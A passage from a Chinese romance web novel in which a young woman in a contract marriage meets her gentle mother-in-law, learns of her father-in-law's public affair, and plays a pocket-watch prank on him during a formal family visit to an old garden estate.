另一只手探上她的额头,因为梁奚禾个子高,孟淑慧明显踮了下脚尖:“这会儿没烧,退烧药什么时候吃的?” 孟翰泽看了眼腕表:“凌晨四点吃的,六个小时了。” “药效过了恐怕还要反复,还是要多喝水多注意休息。” 梁奚禾才拉回神游的思绪,乖顺地点头。 孟淑慧带着她坐到沙发上,笑着从手包里掏出一个厚实的红包塞到她手里:“第一次见面,这是妈妈的心意。” 孟翰泽亲自去给母亲倒水,梁奚禾不知道该不该接,抬眸找救星时他不在,只能又道谢收下,尴尬得原地变成i人。 孟淑慧看出她的不自在,尝试找话题,看着她的衣服问:“这是猫咪吗?禾苗喜欢猫?养猫了吗?” 长辈极力散发着善意,梁奚禾也能感受到,她暗自调整了呼吸镇定下来,反正婆婆这一身份也是假的,她就将人当作和善的阿姨相处。 “喜欢,但我怕养不好,所以只撸别人家的猫过过瘾。” 孟翰泽端着温水回来时,两人已经热火朝天地聊起来了。 “前几年我养过一只猫,浑身雪白雪白的,眼睛是蓝色的,太漂亮了。” 他不由自主地看了母亲两眼,很多年没见过她这么努力地跟谁拉近距离。 梁奚禾似是很感兴趣:“它还在吗?” 孟淑慧遗憾地叹了口气:“不在了,不知道哪天追着鸟就跑山里去了。那家伙平时懒洋洋的,追鸟的时候一下子就精神抖擞了,表情就跟你身上这只猫一模一样。” 她真心实意地夸道,“这衣服真可爱。” 梁奚禾愣住。 “您觉得,我的衣服可爱?” 第23章 在着装方面,梁奚禾习惯了奚云岚对她的挑剔,有些毫不留情的点评甚至算得上是挑刺。 但习惯不等于认可。 再被锐评,她私下该怎么穿还是怎么穿。逛街时看到合眼缘的,管它是暴发户还是废土风,只要感兴趣,她就会买回家酷酷尝试。不会因为谁而怀疑自己的审美,也不想被所谓的“名门淑女”下定义,桎梏在单调的套装中。 她对自己的期待很简单:做一个兴之所至的梁奚禾。前一天能踩ChristianLouboutin的高跟鞋赴晚宴,第二日也能趿拉着Birkenstock的勃肯鞋出门吃烤串。 梁奚禾放弃改变奚云岚的凝视,将其理解为两代人之间的代沟,也会屈服于母爱和零花钱的双重威势下,以某种并非取悦或者讨好而是息事宁人的心态,在奚云岚出现的场合里穿对方喜欢的衣服。 可此时迎着孟淑慧温柔的目光,她意识到这种隔阂和分歧并不能简单地划归到代沟。准确来说,那是控制欲,也是一种没办法尊重孩子是独立个体而将其当成自己的所有物的傲慢。 孟淑慧本人有一种温婉的古典气质,与梁奚禾身上的衣服风格格格不入,可她还是能以欣赏的目光说一句:“可爱呀。”不代入自己去裁夺,单纯地以旁观者的姿态欣赏衣服和穿衣服的人。 梁奚禾喜欢这种分寸感强烈、平等交流的感觉,当下对孟淑慧更加亲近起来。 “我也觉得很可爱,有种锁定猎物后蓄势待发的力量感,好酷。” 她说蓄势待发的时候不自觉作了个用力的表情,眼睛略眯,鼻尖微耸,脸颊也随之拱起,孟淑慧被可爱得抿唇笑起来,一旁陪坐的孟翰泽也垂眸勾起了唇角。 孟淑慧的目光几度落到梁奚禾眼下的伤痕处,很想问问是怎么回事,又怕不是什么好事,问了会让孩子尴尬。 第一次见面有现在这么美好的气氛不容易,犹豫一番,她终是忍住了,转而说起本周六双方父母要在松鹤园正式见面商量他们的婚事。 梁奚禾不知道有这一遭,愕然地看向孟翰泽,他轻轻颔首:“梁董已经跟妈妈说好了。” 孟淑慧听到后回头嗔他:“你怎么还叫梁董?” 孟翰泽憋了半天,吐出一个全新的称谓:“……岳父。” 孟淑慧这才满意,看向梁奚禾的目光也带上了几分期待。 “……” “妈妈”二字,梁奚禾实在叫不出口,她急中生智,“您喝水。”假装没看不懂形势,殷勤地将杯子递到孟淑慧手里。 孟淑慧也不强求,从善如流地喝了口水,眉开眼笑地继续说着她对筹办婚礼的设想。 依照梁奚禾最初的计划,她只是想跟孟翰泽领个证,去父母面前过个明路,等对外公开了两人的夫妻关系,最多就是在特定场合合体扮演一对恩爱的夫妻。 现在听孟淑慧的意思,不光要拍婚纱照、办婚礼,就连领证前被他们省略的提亲、交换庚帖、合八字、订婚、送日子等流程也必须原原本本地走完。 梁奚禾感到头大:“不用了吧,我们法律意义上已经是已婚了。” 孟淑慧笑着摇头:“法律和风俗不冲突呀。我们孟家的儿媳妇,将来的女主人怎么可以悄无声息地进门?” “……” 听这架势,感觉要八抬大轿、十里红妆、筵开百席、大宴三天……梁奚禾顿时有种场子越铺越开,闹大了的感觉。 她想悬崖勒马,不得不泼冷水:“那万一合八字的时候,说我和孟翰泽八字不合怎么办?” 孟淑慧和煦的笑容终于一顿。 孟翰泽抬眸和梁奚禾对上视线,在他开口打圆场之前,她已经直白地表达自己的想法。 “没有人会希望在喜庆的时刻出现一丁点的不如意,因为往后的日子大家相处总会有摩擦,我不想一吵架就想起玄学,那样就没办法客观地沟通了。 “我知道您打算隆重操办婚礼是因为重视我,不想委屈我。您的用心良苦,我明白,也非常感谢。不过比起仪式感,我更看重两个人的相处,也不想长辈们为了我们操心受累。所以一些传统的礼节我们能免则免,一切从简吧,您看可以吗?” 葡萄眼盈盈地看着她。 孟淑慧着实愣了片刻,她的两个孩子,一个内敛,一个内向,虽然都跟她还算亲近,但从来没有谁这样语气温和、态度坚定地当面反驳过她。即使长子先斩后奏结了婚,跟她认错的时候也是温顺地低了头的。 梁奚禾却不同,她毫不掩饰自己的不喜欢,并且清晰直接地表达,又擅于说服对方理解她的不喜欢。 孟淑慧并不觉得生气,反而觉得轻松。现在的年轻人都有想法有主见,长辈与其忙前忙后还不讨他们喜欢甚至最后落个埋怨,不如事先两代人就达成共识。 儿媳妇大大方方,她也爽气利落:“我知道了。”也说明自己的底线,“婚礼肯定是要办的,其余的我尊重你们的想法。当然,周六还要看看梁董夫妇的意思。” 基于互相尊重,梁奚禾见好就收,顽皮道:“谨遵太后懿旨。” 孟淑慧被逗得不行,气氛又融洽几分。 待了一会儿,孟淑慧起身准备离开,一个还是病号,她不让他们送。 小夫妻俩并肩站在玄关处同她话别,孟淑慧越看越般配。 她嘱咐梁奚禾要多喝水,按时吃药,还交代孟翰泽让厨房多备些高蛋白有营养的食物,最后想起来指挥儿子。 “你快把禾苗的名片推给我,或者拉个群,让涵涵也跟嫂嫂先认识下。” “好。您慢点。” 孟淑慧笑得一脸慈爱地走了,进了电梯,她看到镜面中自己的笑脸微顿。想着要跟那孩子好好相处,好好疼爱人家,也不知道她今天有没有用力过猛,会不会给人压力了。 门内,长辈一走,梁奚禾卸了劲,瘫倒在沙发上,抱着毯子复盘了下刚刚见家长的全程,她有感而发:“孟翰泽,你妈妈好温柔啊。” 这份柔情似水要是能匀点给奚女士就好了。 孟翰泽拿了耳温枪过来:“再量个体温。” 梁奚禾乖乖侧头,配合他量体温,顺便问道:“你开好会了?” “嗯。” 滴的一声,屏幕显示绿色,没再烧起来,孟翰泽收起了耳温枪。 梁奚禾坐正身子:“那我们聊聊你的转账,还有你妈妈的红包。” “不用聊。” 她还想再说什么,他拦住了话头,“禾苗,协议约定了股权清晰就可以了,这些都是小钱,不用跟我算得这么清楚。” 梁奚禾:“……” 感受到了掌权者的财大气粗,她这个仰人鼻息的富二代,是绝对不可能这么云淡风轻地说五百万是小钱的。 午饭依然是清淡可口的饭菜,怕她没胃口,孟翰泽让厨房做了八道菜,涵盖了鱼虾牛羊猪鸡鸭,总有一款能让她多吃几口。 梁奚禾也没再故意拿乔,拣喜欢的肉菜吃,吃到第五块排骨时,孟翰泽开口:“差不多了,肉吃太多不好消化。” 将她面前的肉菜腾挪成蔬菜。 梁奚禾:“……” 午休时间,两人各自回房休息,只不过她回了主卧,孟翰泽去的客房。 梁奚禾不困,靠在床头跟夏初聊天。 “婚后生活怎么样?虞师兄昨晚给我发消息说想聚个餐帮你们庆祝一下。” “听到我的鼻音没?我感冒了。下周吧,下周我请你们吃饭。” “没问题。那再联系,我先去忙了。” “你怎么这么忙,我还没说正事儿呢。” “因为我正在努力拿下跟倪家的合作,跟董事会证明自己呀姐姐。”夏初又将文件夹合上,“那你说吧,长话短说。” 梁奚禾:“周五晚上陪我逛街买衣服。” “买衣服?你那个衣帽间还不够你挑的?” “嗯,我要去买套新中式,周六穿去孟翰泽家吃饭。” 夏初:? 没明白两者之间的必然联系…… 周五,夏初早退了半个小时,开车到了双子大厦,车子停在梁奚禾的私家地库。 梁奚禾没好意思将她带去西楼,两人在东楼待了一会儿后,去连廊的中餐厅吃了晚饭,再从内部电梯下到底部的寰萃商业中心。 寰萃总楼面面积约为11万平方米,是奚云岚一手打造的高奢商场,汇聚了超200家国际知名品牌专门店和旗舰店,其中约一成的品牌是首次登陆内地。 在这里大牌好买,新中式却不算好找。许多成衣品牌有推出新中式系列,但选择不算特别多。 两人逛了一层没看到喜欢的,先找了家店喝东西,中场休息。 夏初监督着梁奚禾喝热饮:“你家孟总说了,不能喝冰的。” 她笑得一脸暧昧。 刚刚她们准备下楼的时候,孟翰泽正好下班回家,来连廊找梁奚禾。跟她打过招呼后,眼神就再也没从梁奚禾身上移开。 “还咳嗽吗?” “吃药了吗?” “别喝冰的。” 夏初放低了声音,一句一句地学舌完做了个wink,“孟太太,你们火花四溅哦?” 被调侃的梁奚禾面色淡定,不见丝毫羞赧,尝了一口夏初特地给她点的红枣炖桃胶,甜腻得皱眉。 “他不知道你知道我们形婚。” 她的理解里,孟翰泽对她的关心是真,在外人面前的滴水不漏也是真。 夏初抿唇而笑:“他又不是专业演员,演戏能演出这么无微不至的关心吗?” 她第一次见孟翰泽本人,“长得比照片更好看,对着这样一张脸,你真的不心动,没可能假戏真做吗?” 梁奚禾想了想:“我可能会爱上他妈妈。” 夏初:? “他妈妈前两天来看我,好温柔啊。” 梁奚禾不知道,此时她的眼里满是孺慕之情。 夏初却轻拍桌面:“等等等等,你说谁来看你?孟总的妈妈?” “嗯。” 看着夏初大惊失色的表情,梁奚禾感到奇怪,“怎么了?她也不知道我只是她名义上的儿媳妇,来看我也很正常啊。” “不正常!” 夏初说道,“禾苗,你知道孟总的妈妈已经十五年没有下过雪霁山了吗?” 轮到梁奚禾大吃一惊。 奚云岚秉持着高傲与体面,轻易不会谈论别人家的是非,梁茂林更不是八卦之人,所以从来没有人跟她说过孟家的一地鸡毛。 夏初说:“孟总的爸爸是入赘的,就是典型的凤凰男,借着老丈人的势混出名堂后就在外面有了小三,还有了私生子。” 梁奚禾:“什么?!” “那位姚董是真的完全不考虑老婆孩子的心情和面子,这么多年公然把小三带在身边。知情者顾及孟家面子就喊小三一声‘邵总’,不知情的人都以为她是原配,都直接喊‘姚太太’。” 夏家跟孟家有阶层差异,但夏初在不少社交场合见过那位“邵总”,也见过人围着她阿谀奉承的样子。 梁奚禾完完全全被恶心到了。 “大家都说孟总的妈妈接受不了,所以隐居在雪霁山上不问世事,也有人说她可能出家了,为了两个孩子的面子,没有对外公开而已。” “当然不是!”梁奚禾激动地说,“她没有出家,好着呢。” “不管有没有出家,禾苗,她十五年都没有出来了,但是她愿意下山来看你哎!” 夏初动容地说道,“我想她一定很喜欢你,至少很重视你。” 这位名义上的婆婆确实很重视自己。 梁奚禾的脑海全是孟淑慧的目光和笑容,平静而温和,还有一种能包容一切的慈爱。她真没想到这笑容背后,经历过那么严重的背叛。 那天她还振振有词地问人家要是她跟孟翰泽八字不合怎么办,无意中是不是也戳中了长辈的伤口呢。 “那她怎么不离婚呢?”梁奚禾有点心疼地喃喃道。 夏初:“离不了吧,离了孟氏就没了。” 她借此机会给闺蜜警示,“所以,有你婆婆的前车之鉴在前,我希望你千万不要把梁氏随便交给别人。就算将来跟孟总处出了真感情,也要感情是感情,股权是股权,分得很清楚才行。” 梁奚禾心里难受就格外沉默,夏初察觉后抚了抚她的胳膊安慰,岔开话题:“周六是去雪霁山上吗?一定要穿新中式吗?” 梁奚禾喝了一口饮品缓缓心情:“不去山上,是去松鹤园。” 松鹤园,这座在宁市无人不知无人不晓的私家园林,始建于清朝末年,是孟家的祖宅。因其历史悠久,又是典型的江南古典园林文化象征,1982年被列为国家重点文物保护单位。 因为要去这样的地方,加上对孟淑慧的第一印象极好,梁奚禾才萌生了新中式穿搭的念头,也有同她亲近的意思。 两人歇了一会儿继续逛。 梁奚禾看中了一件白色绣花短袄,准备搭配衣柜里miumiu的紫色缎面羽毛裙。 夏初却摇头:“你将来是要作为孟家的当家夫人执掌中馈的,第一次出场绝对不能是这种白瘦幼的审美,压不住场子,知道吗?” 梁奚禾睨她一眼:“……” 夏初觉得GallianoLandor的那件北卡蓝丝绒短款唐装夹克合适,一边拿着在梁奚禾身前比划,一边了然地开口。 “凭我对你的了解,禾苗,你刚刚肯定在想怎么拳打渣男手撕小三,帮你婆婆出一口恶气。既然这样,你必须得穿得飒爽英气、气场强大,做一个梁熙凤才行。” 第24章 宁市属丘陵地貌,东有诸如雪霁等名山,市中心亦坐落着明山、锦岳山、映城山等几座海拔不到200米的小山头,诸山环抱之中乃国家重点风景名胜区——东明湖。 松鹤园就位于明山以南、东明湖北岸,后倚青山,前临碧水,是千金难求的一块风水宝地。 为感念孟老先生的杰出贡献,孟家在车辆禁止通行的东明湖景区被特许拥有单独的车行通道,可直达松鹤园正门前。 孟翰泽亲自驾驶迈巴赫,梁奚禾随他一道,与梁茂林夫妇的幻影一前一后抵达。 松鹤园正门前盘踞着两只大石狮子,平日里紧闭的兽头大门今日敞开,门前列队站立着七八个人,皆敛声屏气,恭肃严整。 孟翰泽绕过车头,拉开了副驾驶的车门,梁奚禾解开安全带,搭着他递过来的手腕下车,站稳后,略扬起头拜读正门之上的黑底匾额,上书“松鹤园”三个遒劲有力的金色大字。 她俏皮地说:“孟老先生果然是被从商耽误的书法大家。” 孟翰泽有点惊讶:“你知道这是我祖父的手书?” 梁奚禾笑而不语。昨晚她看了大半夜与孟老先生有关的资料,自然知道老爷子才华横溢、兴趣广泛,不止爱好书法,还喜欢收藏钟表。 那边,梁茂林夫妇也下了车,两人走过去跟他们汇合。 孟家等待贵客的几人迎了上去,为首的那人约五十岁的年纪,身材适中头发花白,身姿笔挺、态度恭谨地说道:“梁董,梁太太,我是松鹤园的管家高胜。欢迎二位。” 又转向小两口打招呼,“少爷,少奶奶。” 那天听简腾喊“太太”,梁奚禾已经觉得不适应,今天高管家这一声“少奶奶”更是让她尴尬得脚趾抠地。 救命,大清亡了多少年了啊。 不过眼下的场合不适合在称谓上推拒,只能以后再找机会纠正,她礼节性笑笑,站到奚云岚身边。 “诸位里边请。” 奚云岚迈步前,不动声色地打量了女儿一番。白色高领羊绒衫搭配织金浮雕红色提花马面裙,盘着低发髻,没配发饰,周身只戴了一枚鹭羽戒指和PIAGET的玫瑰花耳环。 耳环上缀着流苏,镶饰的204颗圆形美钻在日光中熠熠生辉,衬得没涂粉底、只上了眼妆和唇妆的梁奚禾肌肤透亮,气色极好。 化妆不化底妆,白金戒指配玫瑰金耳饰色调也不统一,奚云岚吐槽的话到了嘴边,碍于孟翰泽就在一旁又生生咽了回去。 梁奚禾对她的看不惯了然于胸,笑盈盈地挽着她的手臂一起走,低声故意说道:“妈妈,您觉得我这一身如何?待会儿见了我婆婆,她会夸我吗?” 奚云岚没搭腔,睨了她一眼:“背挺直,好好走路,注意仪态。” 梁奚禾也不生气,松开手走回了孟翰泽身边。 迈过正门高槛只见一道砖刻照壁,上面运用多重精细雕刻技法雕琢出苍松与仙鹤,取延年益寿的祥瑞寓意,正是松鹤园的命名由来。 绕过影壁,孟淑慧已经等候多时。她是女流之辈,所以按规矩没有迎出大门。 她与梁茂林、奚云岚一一握手,看向梁奚禾时目露惊艳,不吝啬夸赞:“我们禾苗今天真漂亮。” 梁奚禾乖巧中带着羞涩地答道:“谢谢妈妈。”说完朝奚云岚投去一瞥,似是挑衅。 不期然听到一句“妈妈”,孟翰泽一愣,孟淑慧则笑意更甚,捏了捏她的手又去招待梁奚夫妇:“亲家,快里面请。” 奚云岚深深地看了女儿一眼。 进了正厅,高管家陪着梁茂林的助理将梁家带来的礼物送进来。除了常规的烟酒之外,奚云岚还特地准备了苏绣披肩,螺钿漆器首饰盒等典雅之物。 孟淑慧不好意思:“我邀请二位吃顿便饭,倒让你们破费了。” 梁茂林朗声笑道:“来松鹤园就是吃碗轻浇的汤面也算饕餮大餐了。” 孟淑慧客气:“跟梁园哪里好比?” 梁园是梁家当年在东明湖西岸的一处庄园,梁茂林当家后做主捐给了国家,如今已经作为东明湖十景之一对公众开放。 两人客套间,一位年轻女子带着两位阿姨进来奉茶,孟淑慧似乎待她格外亲近,特意向大家介绍道:“这位是高管家的独女,高阔。” 高阔与贵客们一一打过招呼,双手将茶递到梁奚禾手中时笑意更深:“少奶奶请用茶。” 梁奚禾忍住因称谓而起的鸡皮疙瘩,好奇地看了她两眼,削肩细腰、长挑身材,大方利落地退了出去。 长辈们叙话,陪坐在末端的梁奚禾端着茶杯,倾身悄声问孟翰泽:“姚董不来吗?” 孟翰泽顿了顿:“应该快到了。” 半个小时后,姚德平终于姗姗来迟,车子在门外刚停稳,先遣了高管家来通报,厅内热络的气氛顿时像被踩了刹车。 梁奚禾看向上首,孟淑慧的笑容未变,眼里却浮起冷意。 不消一会儿,姚德平进来正厅,所有人依礼起身相迎。 他先跟梁茂林握手:“抱歉梁董,我临时有事,去了公司一趟。”噙着笑意,语带傲慢。 今天周六,又是两家议亲的大日子,除非孟氏发生了安全事故,不然公司没什么事能排在这事前面。他拿这个当借口,无非就是故意怠慢。 “姚董贵人事忙。” 梁茂林比他高出半个头,说话的时候微微俯视,语气听不出情绪。梁家是跟孟家联姻,他没将姚德平放在眼里,自然不会因为无足轻重的人生气。 姚德平又跟奚云岚握手,最后目光落到梁奚禾身上。 该怎么形容这种目光呢? 就像一个全然的外行者揣着几张人民币就去了画展,以上帝自居,对着一幅画从上而下地审视,似乎觉得此画颇为一般,最后听说画作乃是出自名家之手,为免才情露怯才勉强扯了扯嘴角,但又心下不甘,唇角扯起的弧度极小,不屑一顾的意味藏不住一点。 可是梁奚禾不是待价而沽的画作,拒绝被这种毫无分寸感的目光物化。 她直视回去,微抬下巴,不卑不亢地喊了一声:“姚董。”出于她的礼貌和教养。 梁茂林和奚云岚并没有纠正这个称谓。 “公司有什么事吗?” 孟翰泽借着询问姚德平,往前站了半步,有意无意地将梁奚禾挡在身后。 孟淑慧见状,立刻开口道:“今天不谈工作。”笑着征求梁奚夫妇的意见,“也到饭点了,亲家,咱们边吃边聊吧。” 若是照着规矩,招待贵客应该在正厅,但孟老先生暮年来到松鹤园养静,特地将花厅重新修缮过,辟出了一方环境极为清雅的用餐之地,孟淑慧引着大家移步到了花厅。 餐桌上双方父母聊着婚事筹办,两个小辈插不上话。 梁奚禾安静地用餐,孟翰泽留意着她的喜好,每当她喜欢的菜色转到眼前时,他便出手将转盘轻轻摁住几秒,方便她夹菜。 “小梁今年刚毕业?在哪里工作?” 过了一会儿,梁奚禾突然被cue到,一抬头就对上姚德平的视线。 她用纸巾轻拭嘴角,不疾不徐地回答:“在家待业。” 姚德平对这个回答很满意,流露出今天第一个真心实意的笑容,对梁茂林说道:“看来梁董没打算培养女儿接班?” 不等梁茂林作答,他又道,“也能理解,小姑娘嘛到底指望不上。我对女儿的要求也是不闯祸就行了。但儿子不一样,指望他们有出息就得严格要求,重点培养。” 这是嘲讽梁茂林没有儿子。 姚德平靠在椅背上露出得意之色。年轻时他得避着梁茂林的锋芒,因为人家是出身名门的翩翩佳公子。 可那又怎么样? 如今他这种贫苦出身的穷小子还不是跟他平起平坐。往后说不定他还得求着自己,善待他们家嫁过来的独生女。 梁奚禾却想到另一层。众所周知,孟淑慧膝下只有一儿一女,哪来的“他们”?姚德平真的离谱至极,竟然在这样的场合也丝毫没打算给发妻一丝颜面。 她停下筷子,状似不经意地点点面前经过的红烧鱼,问道:“这是臭鳜鱼吗?” 暗指姚德平散发着恶臭。 虽然不知道埋得这么隐晦,对方能不能听懂,但她作为小辈毕竟不能太过肆无忌惮,不然又给人递了把柄,攻讦梁家没有教养。 奚云岚却没这层顾虑,不客气地说道:“听说姚董在云开寺为母亲立了长生位,感念她老人家靠着替人缝补衣裳,独自拉扯你们三兄妹长大成人。” 姚德平脸色不太好看。 奚云岚是提醒他不要忘记他的母亲也是女子,别一边立着孝子的人设、一边打心眼里看不起女人这么恶心。 梁奚禾看看自己的妈妈,忍着没笑出声,第一次觉得奚总的毒舌得还挺顺耳。 她将左手放到了腿上,隔着布料捏了捏口袋里的物什,下了决心。 两家本就势均力敌,梁茂林和奚云岚的出身又摆在那里,对这种鸡犬升天就小人得志的嘴脸根本看不上,话语间打过一番机锋后,席上气氛分外冷凝。 看在两个孩子的面上,孟淑慧心里不快依然笑着打圆场:“说起云开寺,寺里的菊花已经陆续在开了,我跟觉尘师傅商量着办个赏菊大会,亲家有没有兴趣?” 梁茂林给她面子:“云开寺的菊花名声在外,我们每年都惦记着去看看。对了,觉尘师傅算算也到了古稀年纪,身体还好吗?” 他们三位又重新聊起来,姚德平神色漠然地将酒盅中的酒水饮尽。 饭后,孟淑慧邀请大家到园中散步消食。 松鹤园假山池沼,傍石植树,近景远景层次分明又互相衬托,景色十分宜人。 从商的人家讲究天一生水,因此园中三分之一为水面,引了明山上的山泉水进来又连通东明湖,水流不息,象征着生意蓬勃发展。 孟淑慧介绍说,水中种着千叶莲花,到了夏季真是“香远益清,亭亭净植”,又约好夏日两家人一块儿赏莲。 一行人参观了临水的观莲堂和荷风亭后,往孟老先生的书房留清阁而去。 梁茂林想到一事:“听说孟老先生晚年起了养两只真鹤的念头,真的养了吗?” “没有,鹤类都是保护物种,父亲申办了养殖许可,但是没来得及。”孟淑慧遗憾地说道。 恰在这时,忽然听到后面梁奚禾一声惊呼,众人回头看去。 一只通体黑色的猫窜上假山,很快消失在树丛中。 梁奚禾轻拍胸口,朝大家不好意思地说道:“它刚刚突然从那边窜出来,吓我一跳。” 她指着假山上比人高的一个小洞口,几人下意识地顺着她的手指看去,日光下有什么东西在反光。 姚德平背手而立,蹙眉问道:“什么东西?” 众人停步,没让人随侍,这会儿孟翰泽当仁不让地上前查看。 看他抬手将什么东西取了下来,细看一眼后脸色有些凝重,姚德平:“是什么?拿过来看看。” 孟翰泽走回来,将东西托在掌心中递给他看:“爷爷的怀表。” 梁奚禾站在奚云岚的身后,看到姚德平脸上闪过一丝惊讶和慌乱,又碍于在人前,极力装淡定。 他指指怀表,没碰,大声道:“这东西怎么会在这里?高胜!” 梁奚禾低头摸了摸鼻子。 高管家从回廊转出来:“姚董。” 姚德平刚要发作,孟淑慧不想在亲家面前失礼,便抢先说道:“父亲的怀表被猫叼出来了,你快送回去吧。” 高胜惊讶,姚德平依旧怒气冲冲,厉声道:“你怎么管的家,能让猫窜进祠堂?” 惶恐的高胜不敢作声。 孟淑慧有几分尴尬,对着梁茂林解释:“这快怀表是父亲的收藏之一,是我后来在壁橱里发现的,没随着父亲下葬,就供在了祠堂里。” 梁奚禾心里一沉。 梁茂林:“既然如此,大家就一块儿把它送回去吧,正好我们也给孟老先生上炷香。” 他都这么说了,姚德平这个当女婿的,即使再不情愿也不能拒绝。 梁奚禾沉默地跟在他们身后,拇指和食指不自觉地搓在一起。 孟翰泽陪着她慢慢走,侧头看她,问道:“怎么了?” 看了一眼他手里的怀表,她摇了摇头,找了个借口:“我有点害怕祠堂这种场合。” 他“嗯”了一声,安抚道:“不怕,祠堂没有供奉灵位,都是书画作品。” 这是孟家祖先特地定下的规矩,旨在希望孟家子弟不忘书香世家的门风。 梁奚禾朝他笑笑,内心忐忑。 到了祠堂院中,孟翰泽上前两步请四位长辈稍待,率先进入了屋内。他是孟家的长子嫡孙,每逢祭祀,第一炷香都是由他上。 这也是姚德平不愿意来这里的原因之一,凡此种时刻都在提醒他,在孟氏他能说了算,但在孟家他至死都是一介外人,跟高胜几个没什么两样,只是更高意义上的长工罢了。 梁奚禾的心提起来,远远地看着孟翰泽焚香膜拜,又将怀表仔细擦拭后恭谨地奉到一幅画作前,而后出来迎他们,面上丝毫没有异色。 她狐疑地看了他好几眼,跟在父母身后走进去,不动声色地去看供桌上,只有一块怀表。 她的心略略安定下来,有了一个猜测。 上过香,出了祠堂,孟翰泽从父母身边走过,来问她:“想不想去我的院子看看?” 梁奚禾正有事问他,点了点头。 孟淑慧听到了就笑着说:“我们到观莲堂去喝茶,你们俩就自便吧。” 梁奚禾跟着孟翰泽穿过游廊到了东边的一处院子,院门的匾额上有“乐水”二字。 孟翰泽介绍:“因为在这个院子能看到园中池景,同时也取了‘知者乐水’之意。” 她心不在焉地点点头。 院中有一座两层小楼,孟翰泽带她上楼,木质楼梯咯吱咯吱作响,她放轻了脚步生怕它散架,直到踩上最后一个台阶才松了口气。 屋内多年未住人,但有专人细心地维养,陈设依然考究。梁奚禾大略地参观一遍后,站到窗前去看园中水景,从二楼往远处眺望,能看到对岸观莲堂中场景。 观莲堂一脚建在水中,半亭半阁的设计,父母四人正在临水一侧,晒着太阳喝茶。 孟翰泽站到她身旁,梁奚禾收回视线,直接问他:“另一块怀表呢?” 他低头与她对视,眼神里没有惊讶,果然洞悉了她的所作所为。 梁奚禾待要再问,突然“扑通”一声,传来巨物落水的声音,她抬头看去,观莲堂中只剩三道慌乱的人影。 第25章 梁茂林跪在吴王靠上,大半个身体探出栏杆之外,尽量伸长手臂去够水里的人,奈何距离太远。 栏杆的另一侧已经断裂,正是姚德平刚刚掉下去的地方。奚云岚怕他也掉下去,牢牢地环抱住他的腰身。 孟淑慧则急摇着铃叫人,高胜听到铃声跑进堂内,一看,这哪拉得上来,又匆匆跑出去。 梁奚禾站在高处,看到高管家跑进留清阁后的竹林里,不一会儿,捡出来一根细长的竹竿,准备去捞人。 此时姚德平已经浮浮沉沉了好一会儿,她正想看看水面的情况,忽然,面前的窗户被人阖上。明瓦窗由贝壳制成,透光不透人,阻断了她的视线。 梁奚禾侧过身看向孟翰泽,问他:“你不去看看吗?” 孟翰泽神色淡定,毫不掩饰自己的不关心,漠然地说道:“有人救他。” 屋里没开灯,借着蠡壳透进来的光线,两人对上了视线。 事已至此,明人不说暗话,梁奚禾直截了当地说道:“你想问什么就问吧,但我想知道的,你也必须实话实说。” 孟翰泽:“好,告诉我,你本来想做什么。” 外面隐约传来呼喊声,他们周遭却寂静如夜。她稍微挪动脚下,高跟鞋踩在木质地板上发出“笃笃”的声音,衬得屋内越发安静。 想做什么,这话昨晚夏初也问过。当时梁奚禾没否认想撕渣男渣女,夏初还主动问她:“要我把那位邵总的资料发你吗?” “不要。”她断然拒绝,“狗改不了吃屎,一个邵总倒下去,还会有千千万万个邵总站起来。我不喜欢玩打地鼠的游戏。” 这个道理夏初也懂,还是劝她:“你不要乱来,姚董是什么段位,今时今日的孟总尚且还撼动不了他,你一个新媳妇能做什么。” 梁奚禾当然有自知之明,更何况她是外人,撼动那位姚董做什么。她只是一想到要跟这种人一起吃饭就觉得恶心。 所以,不能光她一个人恶心。 “我就是想吓吓他,让他晚上没办法睡个好觉。” 梁奚禾抱起胳膊,坦然地朝孟翰泽笑笑。 昨晚回家后,她趴在床上看了许多资料,包括但不限于姚德平的访谈、八卦、绯闻……又查阅了一些孟老先生的资料。 还真的让她有所发现。 在孟老先生去世后,有小道消息称姚德平借着给母亲立长生位的机会,在雪霁山后山立了一块碑,因为上面刻松与鹤的图案,所以外界猜测这实际上是他为岳父所立。 发帖的人还引经据典地考证,最后得出结论,这块碑刻镇魂的可能性大于超度亡灵。 大半夜的,怪力乱神的东西看得梁奚禾心里发毛,床头灯亮着一直没敢熄,她也因此有了灵感生出一个念头,或许姚德平觉得自己缺德怕岳父找他算账,那不如借此吓唬吓唬他。 站久了脚疼,她将重心从左脚换到右脚,看了孟翰泽一眼:“我看到帖子说孟老先生喜欢收藏钟表,十五年前下葬时,孟家曾让他一生的收藏全部陪葬了。” 另一篇访谈中,她看到了孟老先生随身携带、爱不释手的一块怀表。那么巧,与倪家伯伯收藏的是同款。 “前几年我去倪家,在倪伯伯书房里看到过,两块怀表一模一样。” 反正倪二是夜猫子,她当时就拨了电话过去。出国以后两人就没怎么联系,蹦迪的倪二看到她的来电显示受宠若惊。 梁奚禾没跟她寒暄,上来就说要买那块怀表。倪二找个相对安静的包厢:“禾姐,你说买就太见外了吧。我这回家去找我爸拿,让司机给你送过去。” 世上没有免费的午餐,梁奚禾说了句“那怎么好意思”,等着对方接下来的话。果然倪二嘿嘿一笑:“平安夜我会办个派对,禾姐来帮我捧个场吧。” 梁家大小姐回国后在社交圈的首秀就是她倪二的圣诞派对,不管对倪家还是她本人都是上大分的事。 如果不是急着第二天就要用到,梁奚禾还会跟她你来我往讨价还价一番,这次只能满口答应下来。 她走到旁边靠着书桌借力。 孟翰泽注意到她将脚从高跟鞋中脱出,老房子的木地板下没有地暖,赤脚踩在上面很凉。 他没有多想,下意识地上前一步,掐着腰将她提坐到了书桌上。 “……” 两人均是一愣。 心绪紊乱了两秒。 孟翰泽很快收回手,退后半步,面上依然是凝神倾听的神色,只是回避了她的视线。 梁奚禾清咳一声,也假装无事发生继续说:“我趁你们不注意,把怀表放在了假山上,这么巧有只猫路过,我就正好借它引起大家的注意。” 本来一切顺利,她看到姚德平面露惊恐后还暗自得意,老丈人的遗物突然从墓中跑到了眼前,不吓死他才怪。 谁知,紧接着听到孟淑慧说老爷子那块怀表没有陪葬,就供奉在松鹤园的祠堂,还顺理成章地推测是被黑猫叼了出来,她就知道计划失败了。 梁奚禾:“我当时以为肯定要露馅了,大家到祠堂一看,怀表好端端地放在供桌上,说不定还要追查假山上多出来的这块是从哪里来的。” 当时脑海里闪过无数念头,最后破罐破摔地想,反正天塌下来有梁董顶着呢,但没想到的是等到了祠堂,该在供桌上的那块怀表,并不在。 她看向孟翰泽,他是第一个进入屋里的人,如果有谁拿走了那块怀表,就一定是他。 孟翰泽爽快地点头承认:“是我收起来了。” 